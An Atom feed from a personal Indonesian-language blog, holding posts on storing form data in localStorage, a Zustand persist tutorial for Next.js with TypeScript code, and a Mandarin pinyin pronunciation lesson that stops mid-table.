<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
	<title>Haris Wahidin</title>
	<subtitle></subtitle>
	<link href="https://hariswah.idin.my.id/feed/" rel="self"/>
	<link href="https://hariswah.idin.my.id"/>
	<updated>2026-01-30T15:35:20Z</updated>
	<id>https://hariswah.idin.my.id</id>
	<author>
		<name>Haris Wahidin</name>
	</author>
	<entry>
		<title>Tidak Semua Bisa Kamu Simpan di localStorage, File[] Maksud Saya</title>
		<link href="https://hariswah.idin.my.id/blog/tidak-semua-bisa-kamu-simpan-di-localstorage-file-maksud-saya/"/>
		<updated>2025-10-11T13:10:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/tidak-semua-bisa-kamu-simpan-di-localstorage-file-maksud-saya/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;p&gt;Pada artikel sebelumnya, Saya membahas bahwa Saya memerlukan &lt;em&gt;state management library&lt;/em&gt; dengan penyimpanan &lt;em&gt;localStorage&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Saya tahu bahwa perlu untuk menyimpan data yang telah di-&lt;em&gt;input user&lt;/em&gt; ke &lt;em&gt;localStorage&lt;/em&gt; agar &lt;em&gt;user&lt;/em&gt; tidak perlu melakukan &lt;em&gt;input&lt;/em&gt; lagi jika &lt;em&gt;user&lt;/em&gt; melakukan &lt;em&gt;refresh&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Lucunya Saya sadar memerlukannya saat melakukan cek setelah konfigurasi &lt;em&gt;library&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Tipe data yang harus disimpan bermacam-macam, dari &lt;em&gt;string&lt;/em&gt;, &lt;em&gt;array&lt;/em&gt;, &lt;em&gt;number&lt;/em&gt;, &lt;em&gt;object&lt;/em&gt;, sampai &lt;em&gt;File&lt;/em&gt;. Saya mengerti bahwa seharusnya ini bukan masalah.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Di &lt;em&gt;TypeScript&lt;/em&gt;, tipe &lt;em&gt;int&lt;/em&gt;, &lt;em&gt;float&lt;/em&gt; dan sejenisnya disebut &lt;em&gt;number&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Setelah mengubah konfigurasi, Saya menyadari bahwa tipe data &lt;em&gt;File[]&lt;/em&gt; tidak dapat disimpan di &lt;em&gt;localStorage&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Maksud Saya secara teknis bisa.&lt;/p&gt;
&lt;p&gt;Kita dapat melakukan &lt;em&gt;for loop&lt;/em&gt; pada &lt;em&gt;File[]&lt;/em&gt; untuk mengkonversi setiap &lt;em&gt;File&lt;/em&gt; yang ada di dalamnya ke &lt;em&gt;Base64&lt;/em&gt;. Termasuk mengambil setiap nama, tipe, untuk dapat dikonversi ulang.&lt;/p&gt;
&lt;p&gt;Dan &lt;em&gt;Base64&lt;/em&gt; harus dikonversikan ke &lt;em&gt;Blob&lt;/em&gt; dahulu sebelum bisa dikonversikan ke &lt;em&gt;File&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Masalahnya adalah, &lt;em&gt;File&lt;/em&gt; yang dikonversikan ke &lt;em&gt;Base64&lt;/em&gt; ukurannya dapat membesar sampai 33% karena proses &lt;em&gt;encoding&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Maka jika Saya membuat kolom &lt;em&gt;upload file&lt;/em&gt; di halaman dengan maksimal 10&lt;em&gt;MB&lt;/em&gt;, ukurannya bisa menjadi 13.3&lt;em&gt;MB&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Sedangkan &lt;em&gt;web browser&lt;/em&gt; umumnya membatasi penyimpanan &lt;em&gt;localStorage&lt;/em&gt; sekitar 5-10&lt;em&gt;MB&lt;/em&gt; per-&lt;em&gt;domain&lt;/em&gt; sebelum memunculkan &lt;em&gt;QuotaExceededError&lt;/em&gt; jika melebihi.&lt;/p&gt;
&lt;p&gt;Jadi yang akan Saya lakukan adalah menyimpan data yang di-&lt;em&gt;input user&lt;/em&gt; kecuali yang bertipe &lt;em&gt;File[]&lt;/em&gt;, dan jika &lt;em&gt;user&lt;/em&gt; melakukan &lt;em&gt;refresh&lt;/em&gt;, &lt;em&gt;user&lt;/em&gt; akan di-&lt;em&gt;redirect&lt;/em&gt; ke halaman &lt;em&gt;form&lt;/em&gt;, sebelum muncul &lt;em&gt;error&lt;/em&gt; bahwa kolom &lt;em&gt;Upload file&lt;/em&gt; tidak boleh kosong.&lt;/p&gt;
&lt;p&gt;Sebagai penutup, berikut &lt;em&gt;quotes&lt;/em&gt; dari Dan Levy:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;When you are having trouble getting your thinking straight, consider an extreme or simple case.&lt;/p&gt;
&lt;/blockquote&gt;
</content>
	</entry>
	<entry>
		<title>Best Practice-nya Zustand Persist di Next.js Sesuai Dokumentasi</title>
		<link href="https://hariswah.idin.my.id/blog/best-practice-nya-zustand-persist-di-next-js-sesuai-dokumentasi/"/>
		<updated>2025-10-11T11:30:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/best-practice-nya-zustand-persist-di-next-js-sesuai-dokumentasi/</id>
		<language>id-ID</language>
			<category term ="Web Development" />
		<content type="html">&lt;p&gt;Pada artikel sebelumnya, Saya membahas bagaimana Saya menggunakan &lt;em&gt;Zustand&lt;/em&gt; untuk dapat mengelola data yang telah di-&lt;em&gt;input user&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Dalam pengerjaan proyek, Saya menyadari perlu untuk menyimpan data di &lt;em&gt;localStorage&lt;/em&gt; agar &lt;em&gt;user&lt;/em&gt; tidak perlu melakukan &lt;em&gt;input&lt;/em&gt; ulang jika &lt;em&gt;user&lt;/em&gt; melakukan &lt;em&gt;refresh&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Setelah mencari tahu, itu dapat diselesaikan dengan &lt;em&gt;Zustand Persist&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Saya menggunakan &lt;em&gt;Zustand&lt;/em&gt; sesuai yang didokumentasikan dengan anggapan bahwa itu &lt;em&gt;best practice&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Lalu masalahnya muncul, yaitu cara yang Saya gunakan adalah cara yang berbeda untuk menggunakan &lt;em&gt;Zustand Persist&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Jadi, berikut adalah cara untuk menggunakan &lt;em&gt;Zustand Persist&lt;/em&gt; di &lt;em&gt;Next.js&lt;/em&gt; dengan &lt;em&gt;TypeScript&lt;/em&gt; sesuai dokumentasi.&lt;/p&gt;
&lt;h2 id=&quot;konfigurasi-tsconfigjson&quot; tabindex=&quot;-1&quot;&gt;Konfigurasi tsconfig.json&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/best-practice-nya-zustand-persist-di-next-js-sesuai-dokumentasi/#konfigurasi-tsconfigjson&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Berikut adalah konfigurasi &lt;em&gt;file&lt;/em&gt; &lt;code&gt;tsconfig.json&lt;/code&gt; yang berada di &lt;em&gt;root folder&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;{
  &amp;quot;compilerOptions&amp;quot;: {
    &amp;quot;lib&amp;quot;: [&amp;quot;dom&amp;quot;, &amp;quot;dom.iterable&amp;quot;, &amp;quot;esnext&amp;quot;],
    &amp;quot;allowJs&amp;quot;: true,
    &amp;quot;skipLibCheck&amp;quot;: true,
    &amp;quot;strict&amp;quot;: true,
    &amp;quot;noEmit&amp;quot;: true,
    &amp;quot;esModuleInterop&amp;quot;: true,
    &amp;quot;module&amp;quot;: &amp;quot;esnext&amp;quot;,
    &amp;quot;moduleResolution&amp;quot;: &amp;quot;bundler&amp;quot;,
    &amp;quot;resolveJsonModule&amp;quot;: true,
    &amp;quot;isolatedModules&amp;quot;: true,
    &amp;quot;jsx&amp;quot;: &amp;quot;preserve&amp;quot;,
    &amp;quot;incremental&amp;quot;: true,
    &amp;quot;plugins&amp;quot;: [
      {
        &amp;quot;name&amp;quot;: &amp;quot;next&amp;quot;
      }
    ],
    &amp;quot;paths&amp;quot;: {
      &amp;quot;@/*&amp;quot;: [&amp;quot;./src/*&amp;quot;]
    }
  },
  &amp;quot;include&amp;quot;: [&amp;quot;next-env.d.ts&amp;quot;, &amp;quot;**/*.ts&amp;quot;, &amp;quot;**/*.tsx&amp;quot;, &amp;quot;.next/types/**/*.ts&amp;quot;],
  &amp;quot;exclude&amp;quot;: [&amp;quot;node_modules&amp;quot;]
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;instalasi-zustand&quot; tabindex=&quot;-1&quot;&gt;Instalasi Zustand&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/best-practice-nya-zustand-persist-di-next-js-sesuai-dokumentasi/#instalasi-zustand&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Jalankan &lt;em&gt;command&lt;/em&gt; berikut di &lt;em&gt;terminal&lt;/em&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;npm install zustand
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;konfigurasi-store&quot; tabindex=&quot;-1&quot;&gt;Konfigurasi Store&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/best-practice-nya-zustand-persist-di-next-js-sesuai-dokumentasi/#konfigurasi-store&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Buat &lt;em&gt;file&lt;/em&gt; &lt;code&gt;counter-store.ts&lt;/code&gt; yang berisi &lt;em&gt;code&lt;/em&gt; berikut di &lt;em&gt;folder&lt;/em&gt; &lt;code&gt;src/app/_stores&lt;/code&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Perlu diingat bahwa &lt;em&gt;folder&lt;/em&gt; yang berawalan &lt;em&gt;underscore&lt;/em&gt; adalah &lt;em&gt;private folder&lt;/em&gt; agar tidak terbaca sebagai &lt;em&gt;route&lt;/em&gt;.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;pre&gt;&lt;code&gt;import { createStore } from &#39;zustand/vanilla&#39;;
import { persist, createJSONStorage } from &#39;zustand/middleware&#39;;

export type CounterState = {
  count: number;
};

export type CounterActions = {
  decrementCount: () =&amp;gt; void;
  incrementCount: () =&amp;gt; void;
};

export type CounterStore = CounterState &amp;amp; CounterActions;

export const initCounterStore = (): CounterState =&amp;gt; {
  return { count: new Date().getFullYear() };
};

export const defaultInitState: CounterState = {
  count: 0,
};

export const createCounterStore = (
  initState: CounterState = defaultInitState
) =&amp;gt; {
  return createStore&amp;lt;CounterStore&amp;gt;()(
    persist(
      (set) =&amp;gt; ({
        ...initState,
        decrementCount: () =&amp;gt; set((state) =&amp;gt; ({ count: state.count - 1 })),
        incrementCount: () =&amp;gt; set((state) =&amp;gt; ({ count: state.count + 1 })),
      }),
      {
        name: &#39;counter-store&#39;,
        storage: createJSONStorage(() =&amp;gt; localStorage),
        skipHydration: true,
      }
    )
  );
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;konfigurasi-provider&quot; tabindex=&quot;-1&quot;&gt;Konfigurasi Provider&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/best-practice-nya-zustand-persist-di-next-js-sesuai-dokumentasi/#konfigurasi-provider&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Buat &lt;em&gt;file&lt;/em&gt; &lt;code&gt;counter-store-provider.tsx&lt;/code&gt; yang berisi &lt;em&gt;code&lt;/em&gt; berikut di &lt;em&gt;folder&lt;/em&gt; &lt;code&gt;src/app/_providers&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&#39;use client&#39;;

import { type ReactNode, createContext, useContext, useState } from &#39;react&#39;;
import { useStore } from &#39;zustand&#39;;
import { createCounterStore } from &#39;@/app/_stores/counter-store&#39;;

type CounterBoundStore = ReturnType&amp;lt;typeof createCounterStore&amp;gt;;

export const CounterStoreContext = createContext&amp;lt;CounterBoundStore | null&amp;gt;(
  null
);

export interface CounterStoreProviderProps {
  children: ReactNode;
}

export const CounterStoreProvider = ({
  children,
}: CounterStoreProviderProps) =&amp;gt; {
  const [counterStore] = useState(() =&amp;gt; createCounterStore());

  return (
    &amp;lt;CounterStoreContext.Provider value={counterStore}&amp;gt;
      {children}
    &amp;lt;/CounterStoreContext.Provider&amp;gt;
  );
};

// prettier-ignore
export const useCounterStore = &amp;lt;T,&amp;gt;(
  selector: (store: ReturnType&amp;lt;CounterBoundStore[&#39;getState&#39;]&amp;gt;) =&amp;gt; T
): [T, CounterBoundStore] =&amp;gt; {
  const counterStore = useContext(CounterStoreContext);

  if (!counterStore) {
    throw new Error(`useCounterStore must be use within CounterStoreProvider`);
  }

  return [useStore(counterStore, selector), counterStore];
};
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;penggunaan-provider&quot; tabindex=&quot;-1&quot;&gt;Penggunaan Provider&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/best-practice-nya-zustand-persist-di-next-js-sesuai-dokumentasi/#penggunaan-provider&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Buat &lt;em&gt;file&lt;/em&gt; &lt;code&gt;layout.tsx&lt;/code&gt; yang berisi &lt;em&gt;code&lt;/em&gt; berikut di &lt;em&gt;folder route&lt;/em&gt; milikmu, misalnya &lt;code&gt;src/app&lt;/code&gt;:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;import { CounterStoreProvider } from &#39;./_providers/counter-store-provider&#39;;
...
export default function Layout({
  children,
}: {
  children: React.ReactNode;
}) {
  return (
    ...
    &amp;lt;CounterStoreProvider&amp;gt;{children}&amp;lt;/CounterStoreProvider&amp;gt;
    ...
  );
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2 id=&quot;konfigurasi-page&quot; tabindex=&quot;-1&quot;&gt;Konfigurasi Page&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/best-practice-nya-zustand-persist-di-next-js-sesuai-dokumentasi/#konfigurasi-page&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Terakhir gunakan &lt;em&gt;variable&lt;/em&gt; yang tadi sudah dibuat di &lt;em&gt;store&lt;/em&gt;, ke halaman. Contohnya &lt;code&gt;src/app/page.tsx&lt;/code&gt; yang berisi &lt;em&gt;code&lt;/em&gt; berikut:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&#39;use client&#39;;

import { useLayoutEffect } from &#39;react&#39;;
import { useCounterStore } from &#39;@/app/_providers/counter-store-provider&#39;;

export const HomePage = () =&amp;gt; {
  const [{ count, incrementCount, decrementCount }, counterStore] =
    useCounterStore((state) =&amp;gt; state);

  useLayoutEffect(() =&amp;gt; {
    counterStore.persist?.rehydrate();
  }, []);

  return !counterStore.persist?.hasHydrated() ? (
    &#39;Loading...&#39;
  ) : (
    &amp;lt;div&amp;gt;
      Count: {count}
      &amp;lt;hr /&amp;gt;
      &amp;lt;button type=&amp;quot;button&amp;quot; onClick={() =&amp;gt; void incrementCount()}&amp;gt;
        Increment Count
      &amp;lt;/button&amp;gt;
      &amp;lt;button type=&amp;quot;button&amp;quot; onClick={() =&amp;gt; void decrementCount()}&amp;gt;
        Decrement Count
      &amp;lt;/button&amp;gt;
    &amp;lt;/div&amp;gt;
  );
};
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Sekian untuk cara mengimplementasikan &lt;em&gt;Zustand Persist&lt;/em&gt; berdasarkan kebutuhan saya saat menggunakan Zustand.&lt;/p&gt;
&lt;p&gt;Kode di atas bersumber dari &lt;a href=&quot;https://github.com/pmndrs/zustand/discussions/2476#discussioncomment-9059209&quot;&gt;sini&lt;/a&gt;.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Setelah Lama Penasaran, Saya Mencoba Menggunakan Zustand</title>
		<link href="https://hariswah.idin.my.id/blog/setelah-lama-penasaran-saya-mencoba-menggunakan-zustand/"/>
		<updated>2025-10-11T10:00:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/setelah-lama-penasaran-saya-mencoba-menggunakan-zustand/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;p&gt;Beberapa waktu ini Saya sedang menggunakan &lt;em&gt;Next.js&lt;/em&gt; sebagai &lt;em&gt;web framework&lt;/em&gt; dengan &lt;em&gt;TypeScript&lt;/em&gt; sebagai bahasa pemrogramannya untuk mengerjakan proyek.&lt;/p&gt;
&lt;p&gt;Pada sisi &lt;em&gt;Front-end&lt;/em&gt;, Saya memerlukan &lt;em&gt;state management library&lt;/em&gt; untuk mengelola data yang di-&lt;em&gt;input&lt;/em&gt; oleh &lt;em&gt;user&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Jika biasanya Saya menggunakan &lt;em&gt;Redux&lt;/em&gt; untuk menyelesaikan segala kebutuhan ini, Saya ingin mencoba mempelajari cara penggunaan &lt;em&gt;library&lt;/em&gt; yang lain.&lt;/p&gt;
&lt;p&gt;Kesempatan dalam membutuhkan &lt;em&gt;state management library&lt;/em&gt; di proyek baru Saya ini, membuat Saya memutuskan untuk mencoba menggunakan &lt;em&gt;Zustand&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Untuk pertama kalinya, Saya menggunakan &lt;em&gt;Zustand&lt;/em&gt; yang sudah membuat Saya penasaran pada saat pertama kali Saya mendengarnya karena &lt;em&gt;simplicity&lt;/em&gt;-nya sekitar 18 bulan yang lalu.&lt;/p&gt;
&lt;p&gt;Yang Saya butuhkan dari &lt;em&gt;state management library&lt;/em&gt; adalah menyimpan data yang di-&lt;em&gt;input&lt;/em&gt; oleh &lt;em&gt;user&lt;/em&gt; untuk digunakan di halaman lain, baik yang harus disimpan dalam &lt;em&gt;local storage&lt;/em&gt; dahulu agar data tetap dapat digunakan setelah &lt;em&gt;user&lt;/em&gt; melakukan &lt;em&gt;refresh&lt;/em&gt; maupun tidak.&lt;/p&gt;
&lt;p&gt;Jika kebutuhannya hanya sebatas itu, dari yang Saya pelajari kemarin seharusnya dengan &lt;em&gt;Zustand&lt;/em&gt; sudah cukup untuk terselesaikan.&lt;/p&gt;
&lt;p&gt;Di lain artikel Saya akan membahas pengalaman Saya menggunakan &lt;em&gt;Zustand&lt;/em&gt;, sebagai cara untuk mengkomunikasikan komitmen saya dalam menggeluti industri teknologi yang terus berkembang dengan pesat ini agar bisa relevan.&lt;/p&gt;
</content>
	</entry>
	<entry>
		<title>Belajar Bahasa Mandarin: Pelafalan Ejaan Pinyin</title>
		<link href="https://hariswah.idin.my.id/blog/belajar-bahasa-mandarin-pelafalan-ejaan-pinyin/"/>
		<updated>2025-10-04T17:15:00Z</updated>
		<id>https://hariswah.idin.my.id/blog/belajar-bahasa-mandarin-pelafalan-ejaan-pinyin/</id>
		<language>id-ID</language>
			<category term ="Blog" />
		<content type="html">&lt;h2 id=&quot;huruf-konsonan&quot; tabindex=&quot;-1&quot;&gt;Huruf Konsonan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-bahasa-mandarin-pelafalan-ejaan-pinyin/#huruf-konsonan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;b&lt;/td&gt;
&lt;td&gt;p&lt;/td&gt;
&lt;td&gt;m&lt;/td&gt;
&lt;td&gt;f&lt;/td&gt;
&lt;td&gt;d&lt;/td&gt;
&lt;td&gt;t&lt;/td&gt;
&lt;td&gt;n&lt;/td&gt;
&lt;td&gt;l&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;g&lt;/td&gt;
&lt;td&gt;k&lt;/td&gt;
&lt;td&gt;h&lt;/td&gt;
&lt;td&gt;j&lt;/td&gt;
&lt;td&gt;q&lt;/td&gt;
&lt;td&gt;x&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;z&lt;/td&gt;
&lt;td&gt;c&lt;/td&gt;
&lt;td&gt;s&lt;/td&gt;
&lt;td&gt;zh&lt;/td&gt;
&lt;td&gt;ch&lt;/td&gt;
&lt;td&gt;sh&lt;/td&gt;
&lt;td&gt;r&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id=&quot;pelafalan-huruf-konsonan&quot; tabindex=&quot;-1&quot;&gt;Pelafalan Huruf Konsonan&lt;a class=&quot;tdbc-anchor&quot; href=&quot;https://hariswah.idin.my.id/blog/belajar-bahasa-mandarin-pelafalan-ejaan-pinyin/#pelafalan-huruf-konsonan&quot; aria-hidden=&quot;true&quot;&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Nada yang tidak disertai hembusan nafas:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;b&lt;/td&gt;
&lt;td&gt;d&lt;/td&gt;
&lt;td&gt;g&lt;/td&gt;
&lt;td&gt;j&lt;/td&gt;
&lt;td&gt;z&lt;/td&gt;
&lt;td&gt;zh&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;Nada yang disertai hembusan nafas:&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;p&lt;/td&gt;
&lt;td&gt;t&lt;/td&gt;
&lt;td&gt;k&lt;/td&gt;
&lt;td&gt;q&lt;/td&gt;
&lt;td&gt;c&lt;/td&gt;
&lt;td&gt;ch&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Huruf&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;b&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;p&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;m&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;f&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lafal&lt;/td&gt;
&lt;td&gt;p&lt;/td&gt;
&lt;td&gt;ph&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Contoh&lt;/td&gt;
&lt;td&gt;&lt;em&gt;pe&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;phe&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;me&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;fe&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Huruf&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;d&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;t&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;n&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;l&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lafal&lt;/td&gt;
&lt;td&gt;t&lt;/td&gt;
&lt;td&gt;th&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Contoh&lt;/td&gt;
&lt;td&gt;&lt;em&gt;te&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;the&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;ne&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;le&lt;/em&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Huruf&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;g&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;k&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;h&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lafal&lt;/td&gt;
&lt;td&gt;k&lt;/td&gt;
&lt;td&gt;kh&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Contoh&lt;/td&gt;
&lt;td&gt;&lt;em&gt;ke&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;khe&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;hr /&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Huruf&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;j&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;q&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;x&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lafal&lt;/td&gt;
&lt;td&gt;c&lt;/td&gt;
&lt;td&gt;ch&lt;/td&gt;
&lt;td&gt;s&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Contoh&lt;/td&gt;
&lt;td&gt;&lt;em&gt;ce&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;che&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;em&gt;se&lt;/em&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;ul&gt;
&lt;li&gt;Huruf &lt;strong&gt;q&lt;/strong&gt; mengehembuskan lebih banyak angin daripada huruf &lt;strong&gt;j&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Huruf&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;z&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;c&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;s&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Lafal&lt;/td&gt;
&lt;td&gt;c&lt;/td&gt;
&lt;td&gt;ch&lt;/td&gt;
&lt;td&gt;s&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Contoh&lt;/td&gt;
&lt;td&gt;&lt;em&gt;ce&lt;/em&gt;&lt;/td&gt;
